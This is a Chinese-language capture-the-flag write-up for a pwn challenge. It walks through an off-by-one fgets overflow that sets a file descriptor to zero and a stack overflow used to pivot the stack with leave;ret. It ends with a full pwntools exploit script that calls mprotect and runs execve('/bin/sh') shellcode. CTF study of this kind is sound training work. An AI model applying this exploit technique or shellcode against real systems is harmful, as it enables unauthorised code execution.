话说移栈这个事很少见了,因为大家都熟了。今天这个看似没难度,但突然发现机子上的libc-2.31比要求的libc-2.34小,然后这个程序就不能运行了。实际上这个题本身跟版本没以任何关系,感觉就是卡那些系统没有升级的人。比赛当中没什么人改去更新libc
完事以后把libc更新到2.35然后这个程序就能运行了。
- int sub_40138F()
- {
- char s[32]; // [rsp+0h] [rbp-40h] BYREF
- int fd; // [rsp+20h] [rbp-20h]
- int v3; // [rsp+24h] [rbp-1Ch] BYREF
- void *buf; // [rsp+38h] [rbp-8h]
-
- puts_0("/deb/null may cause some error\n");
- stream = fopen("/dev/null", "rb");
- fd = dword_404028; // 3
- if ( !stream )
- {
- puts_0("error\n");
- exit(1);
- }
- buf = malloc(dword_404010);
- puts_0("please input your filename\n");
- fgets(s, n, stdin); // n=21 写溢出,将fd改为0
- puts_0("Please write the data you want to discard\n");
- if ( read(fd, &v3, dword_404014) ) // 2c 14+buf+rbp+ret 修改buf指和bss,修改rbp指向buf+8,修改ret为leave ret移栈
- {
- sub_4012B6(); // bss设置成只读
- puts_0("please input your new data\n");
- if ( !read(fd, buf, dword_404010) ) // 0x60 向buf里写入rop
- exit(1);
- puts_0("Thanks\n"); // 输入7个字符,此时rdx=7
- return close(1); // 调用 write(2,got['write'],8) 泄漏,重入后
- }
- else
- {
- puts_0("no junk data?\n");
- puts_0("please input your new data\n");
- read(0, buf, dword_404010);
- return sub_4012E0(s, buf);
- }
- }
程序很短,也很明了,一开始fgets(s,n,stdin); 其实s定义的是0x20,但这里n=0x21所以当输入一个长为0x20的串时会在最后加一个\0,这样就把后边的fd给覆盖掉了,原本程序是从随机数读的语句就变成从标准输入读
第二步是向v3读入,并且这里也有溢出,通过这个溢出可以将数据写到后边的buf,rbp,ret 长度刚刚好(再少4字节也能转),所以在这里覆盖buf改为要写入的位置,rbp覆盖为移栈的位置,ret覆盖为leave;ret实现移栈。
这里还有个问题,一般移栈会移到bss但这个题会把bss设置为只语。但却把程序加载起始位置设置为读写。那么移栈就只能移到这里了 0x3fe000
另外一个卡点是会文没有pop rdi;ret所有的rdi都是通过rax填充,那么就需要找个能填充rax的值,这里是这句
0x0000000000401350 : mov rax, qword ptr [rbp - 0x18] ; leave ; ret
移栈以后rbp指向的内容都是咱自己写的,所以可以在这里构造出rdi的效果
完整的程序
- from pwn import *
-
- p = process('./pwn')
-
- elf = ELF('./pwn')
- context(arch='amd64', log_level= 'debug')
-
- #gdb.attach(p, "b*0x40150b")
- #pause()
-
- p.sendafter(b"please input your filename\n", b'A'*0x20) # A\0 => fd = 0
-
- bss0 = 0x3fe000
- leave_ret = 0x401511
- pay = b'A'*0x14 + flat(bss0,bss0, leave_ret) #buf,rbp,ret
- p.sendafter(b"Please write the data you want to discard\n", pay)
-
- rbp_18 = 0x0000000000401350 # mov rax, qword ptr [rbp - 0x18] ; leave ; ret
- mprotect = 0x4012d0 #: mov esi,0x1000;mov rdi,rax;call _mprotect; ret
- pay = flat(bss0+0x28, rbp_18, bss0,b'/bin/sh\x00',0, 0, mprotect, 0,bss0+0x48) + asm(shellcraft.execve(bss0+0x18,0,0))
- p.sendafter(b"please input your new data\n", pay)
-
- sleep(1)
- p.sendline(b"exec 1>&2")
- p.interactive()